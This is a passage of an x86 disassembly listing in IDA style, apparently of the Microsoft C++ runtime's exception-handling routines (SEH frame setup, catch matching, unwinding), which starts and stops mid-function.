loc_42A0D2:				; CODE XREF: sub_429F90:loc_42A105j
					; sub_429F90:loc_42A1CAj
		mov	edx, [ebp+var_14]
		add	edx, 1
		mov	[ebp+var_14], edx
		mov	eax, [ebp+var_10]
		add	eax, 14h
		mov	[ebp+var_10], eax


loc_42A0E4:				; CODE XREF: sub_429F90+140j
		mov	ecx, [ebp+var_14]
		cmp	ecx, [ebp+var_C]
		jnb	loc_42A1CF
		mov	edx, [ebp+var_10]
		mov	eax, [edx]
		cmp	eax, [ebp+var_4]
		jg	short loc_42A105
		mov	ecx, [ebp+var_10]
		mov	edx, [ebp+var_4]
		cmp	edx, [ecx+4]
		jle	short loc_42A107


loc_42A105:				; CODE XREF: sub_429F90+168j
		jmp	short loc_42A0D2
; ---------------------------------------------------------------------------


loc_42A107:				; CODE XREF: sub_429F90+173j
		mov	eax, [ebp+var_10]
		mov	ecx, [eax+10h]
		mov	[ebp+var_1C], ecx
		mov	edx, [ebp+var_10]
		mov	eax, [edx+0Ch]
		mov	[ebp+var_24], eax
		jmp	short loc_42A12D
; ---------------------------------------------------------------------------


loc_42A11B:				; CODE XREF: sub_429F90:loc_42A1C5j
		mov	ecx, [ebp+var_24]
		sub	ecx, 1
		mov	[ebp+var_24], ecx
		mov	edx, [ebp+var_1C]
		add	edx, 10h
		mov	[ebp+var_1C], edx


loc_42A12D:				; CODE XREF: sub_429F90+189j
		cmp	[ebp+var_24], 0
		jle	loc_42A1CA
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+1Ch]
		mov	edx, [ecx+0Ch]
		add	edx, 4
		mov	[ebp+var_18], edx
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+1Ch]
		mov	edx, [ecx+0Ch]
		mov	eax, [edx]
		mov	[ebp+var_20], eax
		jmp	short loc_42A168
; ---------------------------------------------------------------------------


loc_42A156:				; CODE XREF: sub_429F90+1FBj
		mov	ecx, [ebp+var_20]
		sub	ecx, 1
		mov	[ebp+var_20], ecx
		mov	edx, [ebp+var_18]
		add	edx, 4
		mov	[ebp+var_18], edx


loc_42A168:				; CODE XREF: sub_429F90+1C4j
		cmp	[ebp+var_20], 0
		jle	short loc_42A1C5
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+1Ch]
		push	ecx
		mov	edx, [ebp+var_18]
		mov	eax, [edx]
		push	eax
		mov	ecx, [ebp+var_1C]
		push	ecx
		call	sub_42A350
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_42A18D
		jmp	short loc_42A156
; ---------------------------------------------------------------------------


loc_42A18D:				; CODE XREF: sub_429F90+1F9j
		mov	dl, [ebp+var_8]
		push	edx
		mov	eax, [ebp+arg_1C]
		push	eax
		mov	ecx, [ebp+arg_18]
		push	ecx
		mov	edx, [ebp+var_10]
		push	edx
		mov	eax, [ebp+var_18]
		mov	ecx, [eax]
		push	ecx
		mov	edx, [ebp+var_1C]
		push	edx
		mov	eax, [ebp+arg_10]
		push	eax
		mov	ecx, [ebp+arg_C]
		push	ecx
		mov	edx, [ebp+arg_8]
		push	edx
		mov	eax, [ebp+arg_4]
		push	eax
		mov	ecx, [ebp+arg_0]
		push	ecx
		call	sub_42A540
		add	esp, 2Ch
		jmp	short loc_42A22A
; ---------------------------------------------------------------------------


loc_42A1C5:				; CODE XREF: sub_429F90+1DCj
		jmp	loc_42A11B
; ---------------------------------------------------------------------------


loc_42A1CA:				; CODE XREF: sub_429F90+1A1j
					; sub_429F90:loc_42A22Aj
		jmp	loc_42A0D2
; ---------------------------------------------------------------------------


loc_42A1CF:				; CODE XREF: sub_429F90+15Aj
		mov	edx, [ebp+arg_14]
		and	edx, 0FFh
		test	edx, edx
		jz	short loc_42A1EA
		push	1
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_42AA20
		add	esp, 8


loc_42A1EA:				; CODE XREF: sub_429F90+24Aj
		jmp	short loc_42A228
; ---------------------------------------------------------------------------


loc_42A1EC:				; CODE XREF: sub_429F90+FEj
					; sub_429F90+10Bj ...
		mov	ecx, [ebp+arg_14]
		and	ecx, 0FFh
		test	ecx, ecx
		jnz	short loc_42A223
		mov	edx, [ebp+arg_1C]
		push	edx
		mov	eax, [ebp+arg_18]
		push	eax
		mov	ecx, [ebp+var_4]
		push	ecx
		mov	edx, [ebp+arg_10]
		push	edx
		mov	eax, [ebp+arg_C]
		push	eax
		mov	ecx, [ebp+arg_8]
		push	ecx
		mov	edx, [ebp+arg_4]
		push	edx
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_42A230
		add	esp, 20h
		jmp	short loc_42A228
; ---------------------------------------------------------------------------


loc_42A223:				; CODE XREF: sub_429F90+267j
		call	sub_42AB50


loc_42A228:				; CODE XREF: sub_429F90:loc_42A1EAj
					; sub_429F90+291j
		jmp	short loc_42A22C
; ---------------------------------------------------------------------------


loc_42A22A:				; CODE XREF: sub_429F90+233j
		jmp	short loc_42A1CA
; ---------------------------------------------------------------------------


loc_42A22C:				; CODE XREF: sub_429F90+79j
					; sub_429F90:loc_42A228j
		mov	esp, ebp
		pop	ebp
		retn
sub_429F90	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42A230	proc near		; CODE XREF: sub_429F90+289p

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		call	sub_425C30
		cmp	dword ptr [eax+68h], 0
		jz	short loc_42A26E
		mov	eax, [ebp+arg_1C]
		push	eax
		mov	ecx, [ebp+arg_18]
		push	ecx
		mov	edx, [ebp+arg_10]
		push	edx
		mov	eax, [ebp+arg_C]
		push	eax
		mov	ecx, [ebp+arg_8]
		push	ecx
		mov	edx, [ebp+arg_4]
		push	edx
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_41F6A0
		add	esp, 1Ch
		test	eax, eax
		jz	short loc_42A26E
		jmp	loc_42A341
; ---------------------------------------------------------------------------


loc_42A26E:				; CODE XREF: sub_42A230+Fj
					; sub_42A230+37j
		lea	ecx, [ebp+var_4]
		push	ecx
		lea	edx, [ebp+var_C]
		push	edx
		mov	eax, [ebp+arg_14]
		push	eax
		mov	ecx, [ebp+arg_18]
		push	ecx
		mov	edx, [ebp+arg_10]
		push	edx
		call	sub_41F800
		add	esp, 14h
		mov	[ebp+var_8], eax
		jmp	short loc_42A2A1
; ---------------------------------------------------------------------------


loc_42A28F:				; CODE XREF: sub_42A230:loc_42A2F9j
					; sub_42A230+10Cj
		mov	eax, [ebp+var_C]
		add	eax, 1
		mov	[ebp+var_C], eax
		mov	ecx, [ebp+var_8]
		add	ecx, 14h
		mov	[ebp+var_8], ecx


loc_42A2A1:				; CODE XREF: sub_42A230+5Dj
		mov	edx, [ebp+var_C]
		cmp	edx, [ebp+var_4]
		jnb	loc_42A341
		mov	eax, [ebp+var_8]
		mov	ecx, [ebp+arg_14]
		cmp	ecx, [eax]
		jl	short loc_42A2F9
		mov	edx, [ebp+var_8]
		mov	eax, [ebp+arg_14]
		cmp	eax, [edx+4]
		jg	short loc_42A2F9
		mov	ecx, [ebp+var_8]
		mov	edx, [ecx+0Ch]
		sub	edx, 1
		shl	edx, 4
		mov	eax, [ebp+var_8]
		mov	ecx, [eax+10h]
		cmp	dword ptr [ecx+edx+4], 0
		jz	short loc_42A2FB
		mov	edx, [ebp+var_8]
		mov	eax, [edx+0Ch]
		sub	eax, 1
		shl	eax, 4
		mov	ecx, [ebp+var_8]
		mov	edx, [ecx+10h]
		mov	eax, [edx+eax+4]
		movsx	ecx, byte ptr [eax+8]
		test	ecx, ecx
		jz	short loc_42A2FB


loc_42A2F9:				; CODE XREF: sub_42A230+85j
					; sub_42A230+90j
		jmp	short loc_42A28F
; ---------------------------------------------------------------------------


loc_42A2FB:				; CODE XREF: sub_42A230+A9j
					; sub_42A230+C7j
		push	1
		mov	edx, [ebp+arg_1C]
		push	edx
		mov	eax, [ebp+arg_18]
		push	eax
		mov	ecx, [ebp+var_8]
		push	ecx
		push	0
		mov	edx, [ebp+var_8]
		mov	eax, [edx+0Ch]
		sub	eax, 1
		shl	eax, 4
		mov	ecx, [ebp+var_8]
		mov	edx, [ecx+10h]
		add	edx, eax
		push	edx
		mov	eax, [ebp+arg_10]
		push	eax
		mov	ecx, [ebp+arg_C]
		push	ecx
		mov	edx, [ebp+arg_8]
		push	edx
		mov	eax, [ebp+arg_4]
		push	eax
		mov	ecx, [ebp+arg_0]
		push	ecx
		call	sub_42A540
		add	esp, 2Ch
		jmp	loc_42A28F
; ---------------------------------------------------------------------------


loc_42A341:				; CODE XREF: sub_42A230+39j
					; sub_42A230+77j
		mov	esp, ebp
		pop	ebp
		retn
sub_42A230	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42A350	proc near		; CODE XREF: sub_429F90+1EFp

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	eax, [ebp+arg_0]
		cmp	dword ptr [eax+4], 0
		jz	short loc_42A36B
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx+4]
		movsx	eax, byte ptr [edx+8]
		test	eax, eax
		jnz	short loc_42A375


loc_42A36B:				; CODE XREF: sub_42A350+Bj
		mov	eax, 1
		jmp	loc_42A402
; ---------------------------------------------------------------------------


loc_42A375:				; CODE XREF: sub_42A350+19j
		mov	ecx, [ebp+arg_0]
		mov	edx, [ebp+arg_4]
		mov	eax, [ecx+4]
		cmp	eax, [edx+4]
		jz	short loc_42A3A7
		mov	ecx, [ebp+arg_4]
		mov	edx, [ecx+4]
		add	edx, 8
		push	edx
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+4]
		add	ecx, 8
		push	ecx
		call	sub_41D900
		add	esp, 8
		test	eax, eax
		jz	short loc_42A3A7
		xor	eax, eax
		jmp	short loc_42A402
; ---------------------------------------------------------------------------


loc_42A3A7:				; CODE XREF: sub_42A350+31j
					; sub_42A350+51j
		mov	edx, [ebp+arg_4]
		mov	eax, [edx]
		and	eax, 2
		test	eax, eax
		jz	short loc_42A3BF
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx]
		and	edx, 8
		test	edx, edx
		jz	short loc_42A3F8


loc_42A3BF:				; CODE XREF: sub_42A350+61j
		mov	eax, [ebp+arg_8]
		mov	ecx, [eax]
		and	ecx, 1
		test	ecx, ecx
		jz	short loc_42A3D7
		mov	edx, [ebp+arg_0]
		mov	eax, [edx]
		and	eax, 1
		test	eax, eax
		jz	short loc_42A3F8


loc_42A3D7:				; CODE XREF: sub_42A350+79j
		mov	ecx, [ebp+arg_8]
		mov	edx, [ecx]
		and	edx, 2
		test	edx, edx
		jz	short loc_42A3EF
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax]
		and	ecx, 2
		test	ecx, ecx
		jz	short loc_42A3F8


loc_42A3EF:				; CODE XREF: sub_42A350+91j
		mov	[ebp+var_4], 1
		jmp	short loc_42A3FF
; ---------------------------------------------------------------------------


loc_42A3F8:				; CODE XREF: sub_42A350+6Dj
					; sub_42A350+85j ...
		mov	[ebp+var_4], 0


loc_42A3FF:				; CODE XREF: sub_42A350+A6j
		mov	eax, [ebp+var_4]


loc_42A402:				; CODE XREF: sub_42A350+20j
					; sub_42A350+55j
		mov	esp, ebp
		pop	ebp
		retn
sub_42A350	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42A410	proc near		; CODE XREF: seg000:0041F5DAp
					; sub_429EA0+4Cp ...

var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_43A1C0
		push	offset sub_42CA04
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		add	esp, 0FFFFFFECh
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+8]
		mov	[ebp+var_1C], ecx


loc_42A43F:				; CODE XREF: sub_42A410+BFj
		mov	edx, [ebp+var_1C]
		cmp	edx, [ebp+arg_C]
		jz	loc_42A4D4
		cmp	[ebp+var_1C], 0FFFFFFFFh
		jle	short loc_42A465
		mov	eax, [ebp+arg_8]
		mov	ecx, [ebp+var_1C]
		cmp	ecx, [eax+4]
		jge	short loc_42A465
		mov	[ebp+var_20], 0
		jmp	short loc_42A46D
; ---------------------------------------------------------------------------


loc_42A465:				; CODE XREF: sub_42A410+3Fj
					; sub_42A410+4Aj
		call	sub_42AC00
		mov	[ebp+var_20], eax


loc_42A46D:				; CODE XREF: sub_42A410+53j
		mov	[ebp+var_4], 0
		mov	edx, [ebp+arg_8]
		mov	eax, [edx+8]
		mov	ecx, [ebp+var_1C]
		cmp	dword ptr [eax+ecx*8+4], 0
		jz	short loc_42A4A0
		push	103h
		mov	edx, [ebp+arg_0]
		push	edx
		mov	eax, [ebp+arg_8]
		mov	ecx, [eax+8]
		mov	edx, [ebp+var_1C]
		mov	eax, [ecx+edx*8+4]
		push	eax
		call	sub_42AB00


loc_42A4A0:				; CODE XREF: sub_42A410+72j
		mov	[ebp+var_4], 0FFFFFFFFh
		jmp	short loc_42A4C0
; ---------------------------------------------------------------------------
		mov	ecx, [ebp+var_14]
		push	ecx
		call	sub_42A510
		add	esp, 4
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+var_18]
		mov	[ebp+var_4], 0FFFFFFFFh


loc_42A4C0:				; CODE XREF: sub_42A410+97j
		mov	edx, [ebp+arg_8]
		mov	eax, [edx+8]
		mov	ecx, [ebp+var_1C]
		mov	edx, [eax+ecx*8]
		mov	[ebp+var_1C], edx
		jmp	loc_42A43F
; ---------------------------------------------------------------------------


loc_42A4D4:				; CODE XREF: sub_42A410+35j
		mov	eax, [ebp+var_1C]
		cmp	eax, [ebp+arg_C]
		jnz	short loc_42A4E5
		mov	[ebp+var_24], 0
		jmp	short loc_42A4ED
; ---------------------------------------------------------------------------


loc_42A4E5:				; CODE XREF: sub_42A410+CAj
		call	sub_42AC00
		mov	[ebp+var_24], eax


loc_42A4ED:				; CODE XREF: sub_42A410+D3j
		mov	ecx, [ebp+arg_0]
		mov	edx, [ebp+var_1C]
		mov	[ecx+8], edx
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_42A410	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42A510	proc near		; CODE XREF: sub_42A410+9Dp

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 8
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax]
		mov	[ebp+var_4], ecx
		mov	edx, [ebp+var_4]
		mov	eax, [edx]
		mov	[ebp+var_8], eax
		cmp	[ebp+var_8], 0E06D7363h
		jz	short loc_42A531
		jmp	short loc_42A536
; ---------------------------------------------------------------------------


loc_42A531:				; CODE XREF: sub_42A510+1Dj
		call	sub_42AB50


loc_42A536:				; CODE XREF: sub_42A510+1Fj
		xor	eax, eax
		mov	esp, ebp
		pop	ebp
		retn
sub_42A510	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42A540	proc near		; CODE XREF: sub_429F90+22Bp
					; sub_42A230+104p

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h
arg_20		= dword	ptr  28h
arg_24		= dword	ptr  2Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 8
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_4], eax
		cmp	[ebp+arg_18], 0
		jz	short loc_42A56A
		mov	ecx, [ebp+arg_18]
		push	ecx
		mov	edx, [ebp+arg_14]
		push	edx
		mov	eax, [ebp+var_4]
		push	eax
		mov	ecx, [ebp+arg_0]
		push	ecx
		call	sub_42A7A0
		add	esp, 10h


loc_42A56A:				; CODE XREF: sub_42A540+10j
		cmp	[ebp+arg_24], 0
		jnz	short loc_42A57F
		mov	edx, [ebp+arg_0]
		push	edx
		mov	eax, [ebp+arg_4]
		push	eax
		call	sub_41F520
		jmp	short loc_42A58C
; ---------------------------------------------------------------------------


loc_42A57F:				; CODE XREF: sub_42A540+2Ej
		mov	ecx, [ebp+arg_0]
		push	ecx
		mov	edx, [ebp+arg_24]
		push	edx
		call	sub_41F520


loc_42A58C:				; CODE XREF: sub_42A540+3Dj
		mov	eax, [ebp+arg_1C]
		mov	ecx, [eax]
		push	ecx
		mov	edx, [ebp+arg_10]
		push	edx
		mov	eax, [ebp+arg_C]
		push	eax
		mov	ecx, [ebp+var_4]
		push	ecx
		call	sub_42A410
		add	esp, 10h
		mov	edx, [ebp+arg_1C]
		mov	eax, [edx+4]
		add	eax, 1
		mov	ecx, [ebp+arg_4]
		mov	[ecx+8], eax
		push	100h
		mov	edx, [ebp+arg_20]
		push	edx
		mov	eax, [ebp+arg_14]
		mov	ecx, [eax+0Ch]
		push	ecx
		mov	edx, [ebp+arg_10]
		push	edx
		mov	eax, [ebp+arg_8]
		push	eax
		mov	ecx, [ebp+var_4]
		push	ecx
		mov	edx, [ebp+arg_0]
		push	edx
		call	sub_42A600
		add	esp, 1Ch
		mov	[ebp+var_8], eax
		cmp	[ebp+var_8], 0
		jz	short loc_42A5F3
		mov	eax, [ebp+arg_4]
		push	eax
		mov	ecx, [ebp+var_8]
		push	ecx
		call	sub_41F4B0


loc_42A5F3:				; CODE XREF: sub_42A540+A4j
		mov	esp, ebp
		pop	ebp
		retn
sub_42A540	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42A600	proc near		; CODE XREF: sub_42A540+95p

var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h

; FUNCTION CHUNK AT 0042A73B SIZE 00000014 BYTES

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_43A1D0
		push	offset sub_42CA04
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		add	esp, 0FFFFFFE0h
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		mov	eax, [ebp+arg_10]
		mov	[ebp+var_2C], eax
		mov	[ebp+var_24], 0
		mov	ecx, [ebp+arg_4]
		mov	edx, [ecx-4]
		mov	[ebp+var_28], edx
		call	sub_425C30
		mov	eax, [eax+6Ch]
		mov	[ebp+var_1C], eax
		call	sub_425C30
		mov	ecx, [eax+70h]
		mov	[ebp+var_20], ecx
		call	sub_425C30
		mov	edx, [ebp+arg_0]
		mov	[eax+6Ch], edx
		call	sub_425C30
		mov	ecx, [ebp+arg_8]
		mov	[eax+70h], ecx
		mov	[ebp+var_4], 0
		mov	[ebp+var_4], 1
		mov	edx, [ebp+arg_18]
		push	edx
		mov	eax, [ebp+arg_14]
		push	eax
		mov	ecx, [ebp+arg_10]
		push	ecx
		mov	edx, [ebp+arg_C]
		push	edx
		mov	eax, [ebp+arg_4]
		push	eax
		call	sub_41F5F0
		add	esp, 14h
		mov	[ebp+var_2C], eax
		mov	[ebp+var_4], 0
		jmp	short loc_42A6CF
; ---------------------------------------------------------------------------


loc_42A69E:				; DATA XREF: seg001:0043A1E0o
		mov	ecx, [ebp+var_14]
		push	ecx
		call	sub_42A750
		add	esp, 4
		retn
; ---------------------------------------------------------------------------


loc_42A6AB:				; DATA XREF: seg001:0043A1E4o
		mov	esp, [ebp+var_18]
		mov	[ebp+var_2C], 0
		push	0FFFFFFFFh
		mov	[ebp+var_30], 0
		lea	edx, [ebp+var_10]
		push	edx
		call	sub_41F8D2
		add	esp, 8
		mov	eax, [ebp+var_30]
		jmp	short loc_42A73E
; ---------------------------------------------------------------------------


loc_42A6CF:				; CODE XREF: sub_42A600+9Cj
		mov	[ebp+var_4], 0FFFFFFFFh
		call	sub_42A6DD
		jmp	short loc_42A73B
sub_42A600	endp


; =============== S U B	R O U T	I N E =======================================



sub_42A6DD	proc near		; CODE XREF: sub_42A600+D6p
					; DATA XREF: seg001:0043A1D8o
		mov	eax, [ebp+0Ch]
		mov	ecx, [ebp-28h]
		mov	[eax-4], ecx
		call	sub_425C30
		mov	edx, [ebp-1Ch]
		mov	[eax+6Ch], edx
		call	sub_425C30
		mov	ecx, [ebp-20h]
		mov	[eax+70h], ecx
		mov	edx, [ebp+8]
		cmp	dword ptr [edx], 0E06D7363h
		jnz	short locret_42A73A
		mov	eax, [ebp+8]
		cmp	dword ptr [eax+10h], 3
		jnz	short locret_42A73A
		mov	ecx, [ebp+8]
		cmp	dword ptr [ecx+14h], 19930520h
		jnz	short locret_42A73A
		cmp	dword ptr [ebp-24h], 0
		jnz	short locret_42A73A
		cmp	dword ptr [ebp-2Ch], 0
		jz	short locret_42A73A
		call	sub_41F93A
		push	eax
		mov	edx, [ebp+8]
		push	edx
		call	sub_42AA20
		add	esp, 8

locret_42A73A:				; CODE XREF: sub_42A6DD+28j
					; sub_42A6DD+31j ...
		retn
sub_42A6DD	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42A600


loc_42A73B:				; CODE XREF: sub_42A600+DBj
		mov	eax, [ebp+var_2C]


loc_42A73E:				; CODE XREF: sub_42A600+CDj
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
; END OF FUNCTION CHUNK	FOR sub_42A600
; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42A750	proc near		; CODE XREF: sub_42A600+A2p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax]
		mov	[ebp+var_4], ecx
		mov	edx, [ebp+var_4]
		cmp	dword ptr [edx], 0E06D7363h
		jnz	short loc_42A78C
		mov	eax, [ebp+var_4]
		cmp	dword ptr [eax+10h], 3
		jnz	short loc_42A78C
		mov	ecx, [ebp+var_4]
		cmp	dword ptr [ecx+14h], 19930520h
		jnz	short loc_42A78C
		mov	edx, [ebp+var_4]
		cmp	dword ptr [edx+1Ch], 0
		jnz	short loc_42A78C
		mov	eax, 1
		jmp	short loc_42A78E
; ---------------------------------------------------------------------------


loc_42A78C:				; CODE XREF: sub_42A750+15j
					; sub_42A750+1Ej ...
		xor	eax, eax


loc_42A78E:				; CODE XREF: sub_42A750+3Aj
		mov	esp, ebp
		pop	ebp
		retn
sub_42A750	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42A7A0	proc near		; CODE XREF: sub_42A540+22p

var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_43A1E8
		push	offset sub_42CA04
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		add	esp, 0FFFFFFF4h
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		mov	eax, [ebp+arg_8]
		cmp	dword ptr [eax+4], 0
		jz	short loc_42A7E6
		mov	ecx, [ebp+arg_8]
		mov	edx, [ecx+4]
		movsx	eax, byte ptr [edx+8]
		test	eax, eax
		jz	short loc_42A7E6
		mov	ecx, [ebp+arg_8]
		cmp	dword ptr [ecx+8], 0
		jnz	short loc_42A7EB


loc_42A7E6:				; CODE XREF: sub_42A7A0+2Dj
					; sub_42A7A0+3Bj
		jmp	loc_42AA0A
; ---------------------------------------------------------------------------


loc_42A7EB:				; CODE XREF: sub_42A7A0+44j
		mov	edx, [ebp+arg_8]
		mov	eax, [edx+8]
		mov	ecx, [ebp+arg_4]
		lea	edx, [ecx+eax+0Ch]
		mov	[ebp+var_1C], edx
		mov	[ebp+var_4], 0
		mov	eax, [ebp+arg_8]
		mov	ecx, [eax]
		and	ecx, 8
		test	ecx, ecx
		jz	short loc_42A866
		push	1
		mov	edx, [ebp+arg_0]
		mov	eax, [edx+18h]
		push	eax
		call	loc_4306F0
		add	esp, 8
		test	eax, eax
		jz	short loc_42A85C
		push	1
		mov	ecx, [ebp+var_1C]
		push	ecx
		call	loc_430720
		add	esp, 8
		test	eax, eax
		jz	short loc_42A85C
		mov	edx, [ebp+var_1C]
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+18h]
		mov	[edx], ecx
		mov	edx, [ebp+arg_C]
		add	edx, 8
		push	edx
		mov	eax, [ebp+var_1C]
		mov	ecx, [eax]
		push	ecx
		call	sub_42AAB0
		add	esp, 8
		mov	edx, [ebp+var_1C]
		mov	[edx], eax
		jmp	short loc_42A861
; ---------------------------------------------------------------------------


loc_42A85C:				; CODE XREF: sub_42A7A0+81j
					; sub_42A7A0+93j
		call	sub_42AC00


loc_42A861:				; CODE XREF: sub_42A7A0+BAj
		jmp	loc_42A9F3
; ---------------------------------------------------------------------------


loc_42A866:				; CODE XREF: sub_42A7A0+6Cj
		mov	eax, [ebp+arg_C]
		mov	ecx, [eax]
		and	ecx, 1
		test	ecx, ecx
		jz	short loc_42A8EA
		push	1
		mov	edx, [ebp+arg_0]
		mov	eax, [edx+18h]
		push	eax
		call	loc_4306F0
		add	esp, 8
		test	eax, eax
		jz	short loc_42A8E0
		push	1
		mov	ecx, [ebp+var_1C]
		push	ecx
		call	loc_430720
		add	esp, 8
		test	eax, eax
		jz	short loc_42A8E0
		mov	edx, [ebp+arg_C]
		mov	eax, [edx+14h]
		push	eax
		mov	ecx, [ebp+arg_0]
		mov	edx, [ecx+18h]
		push	edx
		mov	eax, [ebp+var_1C]
		push	eax
		call	sub_41F9A0
		add	esp, 0Ch
		mov	ecx, [ebp+arg_C]
		cmp	dword ptr [ecx+14h], 4
		jnz	short loc_42A8DE
		mov	edx, [ebp+var_1C]
		cmp	dword ptr [edx], 0
		jz	short loc_42A8DE
		mov	eax, [ebp+arg_C]
		add	eax, 8
		push	eax
		mov	ecx, [ebp+var_1C]
		mov	edx, [ecx]
		push	edx
		call	sub_42AAB0
		add	esp, 8
		mov	ecx, [ebp+var_1C]
		mov	[ecx], eax


loc_42A8DE:				; CODE XREF: sub_42A7A0+11Aj
					; sub_42A7A0+122j
		jmp	short loc_42A8E5
; ---------------------------------------------------------------------------


loc_42A8E0:				; CODE XREF: sub_42A7A0+E5j
					; sub_42A7A0+F7j
		call	sub_42AC00


loc_42A8E5:				; CODE XREF: sub_42A7A0:loc_42A8DEj
		jmp	loc_42A9F3
; ---------------------------------------------------------------------------


loc_42A8EA:				; CODE XREF: sub_42A7A0+D0j
		mov	edx, [ebp+arg_C]
		cmp	dword ptr [edx+18h], 0
		jnz	short loc_42A950
		push	1
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+18h]
		push	ecx
		call	loc_4306F0
		add	esp, 8
		test	eax, eax
		jz	short loc_42A946
		push	1
		mov	edx, [ebp+var_1C]
		push	edx
		call	loc_430720
		add	esp, 8
		test	eax, eax
		jz	short loc_42A946
		mov	eax, [ebp+arg_C]
		mov	ecx, [eax+14h]
		push	ecx
		mov	edx, [ebp+arg_C]
		add	edx, 8
		push	edx
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+18h]
		push	ecx
		call	sub_42AAB0
		add	esp, 8
		push	eax
		mov	edx, [ebp+var_1C]
		push	edx
		call	sub_41F9A0
		add	esp, 0Ch
		jmp	short loc_42A94B
; ---------------------------------------------------------------------------


loc_42A946:				; CODE XREF: sub_42A7A0+166j
					; sub_42A7A0+178j
		call	sub_42AC00


loc_42A94B:				; CODE XREF: sub_42A7A0+1A4j
		jmp	loc_42A9F3
; ---------------------------------------------------------------------------


loc_42A950:				; CODE XREF: sub_42A7A0+151j
		push	1
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+18h]
		push	ecx
		call	loc_4306F0
		add	esp, 8
		test	eax, eax
		jz	loc_42A9EE
		push	1
		mov	edx, [ebp+var_1C]
		push	edx
		call	loc_430720
		add	esp, 8
		test	eax, eax
		jz	short loc_42A9EE
		mov	eax, [ebp+arg_C]
